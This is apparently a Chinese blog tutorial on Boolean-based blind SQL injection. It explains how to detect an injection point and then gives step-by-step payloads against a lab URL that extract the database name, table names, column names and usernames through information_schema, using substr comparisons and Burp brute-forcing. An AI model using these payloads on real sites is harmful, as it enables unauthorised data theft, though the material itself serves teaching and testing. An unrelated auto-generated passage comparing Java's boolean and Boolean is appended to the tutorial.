Boolean盲注

Boolean注入

有些情况下,开发人员屏蔽了报错信息,导致攻击者无法通过报错信息进行注入的判断。这
种情况下的注入,称为盲注。 盲注根据展现方式,分为boolean型盲注和时间型盲注。
Boolean是基于真假的判断(true or false); 不管输入什么,结果都只返回真或假两种情况; 通过and 1=1和and 1=2可以发现注入点。
Boolean型盲注的关键在于通过表达式结果与已知值进行比对,根据比对结果 判断正确与否。

Boolean型盲注的判断方式

通过长度判断length():length(database())>=x
通过字符判断substr():substr(database(),1,1) =‘s’
通过ascII码判断:ascii():ascii(substr(database(),1,1)) =x

注入漏洞判断

1.id=1’ 报错
2.id=1 and 1=1 结果和id=1一样
3.id=1 and 1=2 结果异常

Boolean注入攻击

Boolean注入是指构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的,以此来获取数据库中的数据。
A:判断数据库名的长度

http://172.16.16.10/web/sql/boolean.php?id=1' and length(database())>=1--+  

B:判断数据库名

‘and substr(database(),1,1)--+

C:Burp判断数据库名

id=1' and substr(database(),1,1)='a'--+

D:Burpsuite爆破数据库的表名

id=1' and substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1)='a'--+

E:Burp爆字段名

id=1' and substr((select column_name from information_schema.columns where table_schema='test' and table_name='users' limit 0,1),1,1)='a'--+

F:获取数据

id=1' and substr((select username from test.users limit 0,1),1,1)='a'--+

boolean注入代码分析

在boolean注入页面中程序先获取GET参数 ID,通过preg_match判断其中是否存在 union/sleep/benchmark等危险字符。然后将参数ID拼接到SQL语句,从数据库中查询,如果有结果,则返回yes,否则返回no。当访问该页面时,代码根据数据库查询结果返回yes或no,而不返回数据库中的任何数据,所以页面上只会显示yes或no
在这里插入图片描述

  • 5
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
booleanBoolean是Java中的两种数据类型。boolean是基本数据类型,用于表示逻辑值,只能取true或false。而BooleanBoolean类的包装器,用于封装boolean值,并提供了一些额外的功能。 当把代码中的第一行的Boolean改为boolean后,代码可以正常运行。这是因为boolean是基本数据类型,不需要被实例化,直接赋值即可。而Boolean需要被实例化后才能使用。 Boolean的构造方法包括一个接受boolean值的构造方法和一个接受字符串的构造方法。接受boolean值的构造方法用于将boolean值封装为Boolean对象,而接受字符串的构造方法会将字符串解析为boolean值,并将其封装为Boolean对象。 在创建Boolean对象时,默认情况下其值为null,而创建boolean类型的对象时,默认值为false。 综上所述,boolean是基本数据类型,用于表示逻辑值,只能取true或false;而BooleanBoolean类的包装器类型,用于封装boolean值,并提供了一些额外的功能。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [Java 中 Booleanboolean 的区别](https://blog.csdn.net/jiaweilovemingming/article/details/123993069)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [Java 中 Booleanboolean的区别](https://blog.csdn.net/mkii_hong/article/details/106109387)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值